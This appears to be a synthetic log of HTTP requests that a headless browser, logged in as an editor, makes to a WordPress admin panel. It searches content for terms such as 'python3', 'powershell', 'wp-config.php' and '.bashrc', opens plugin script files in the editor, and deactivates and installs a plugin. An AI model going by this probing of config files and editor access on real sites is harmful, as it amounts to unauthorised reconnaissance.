wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209929"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-tags.php?taxonomy=post_tag&post_type=post&s=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209928"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php?search=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209929"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-install.php?search=python3&browse=popular", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209929"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?search=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209929"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=ajax-tag-search&tax=post_tag&q=python3&number=20", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "X-Requested-With: XMLHttpRequest", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209930"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=autocomplete-user&term=python3&autocomplete_type=add", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209930"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/tags?per_page=20&orderby=count&order=desc&_fields=id%2Cname&search=python3&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/categories?per_page=20&_fields=id%2Cname&search=python3&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/pages?search=python3&per_page=20&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/media?search=python3&per_page=20&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/users?search=python3&per_page=20&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/blocks?search=python3&per_page=20&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/pattern-directory/patterns?search=python3&per_page=20&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/block-directory/search?term=python3&per_page=10&page=1&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/?tag=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?p=16", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209919"], "body": ""}
{"method": "GET", "target": "/?tag=powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209919"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?tag=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209934"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?category_name=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209935"], "body": ""}
{"method": "GET", "target": "/?s=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/?s=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/?s=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/search?search=.htaccess&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=example-plugin%2Finstall-script.sh&plugin=example-plugin%2Fexample-plugin.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209935"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=example-plugin%2Fscripts%2Fpowershell-setup.ps1&plugin=example-plugin%2Fexample-plugin.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209936"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=example-plugin%2Fassets%2Fdocument.write.js&plugin=example-plugin%2Fexample-plugin.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209936"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=docker-helper%2Fdocker-helper.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209936"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=powershell-tools%2Fpowershell-tools.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209936"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?action=deactivate&plugin=docker-helper%2Fdocker-helper.php&plugin_status=all&paged=1&s&_wpnonce=6a63c44dbf", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209937"], "body": ""}
{"method": "GET", "target": "/wp-admin/update.php?action=install-plugin&plugin=docker-helper&_wpnonce=6f3e7b77ac", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209937"], "body": ""}
{"method": "GET", "target": "/?rest_route=/wp/v2/search&search=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: 3e816ac72c", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209921"], "body": ""}
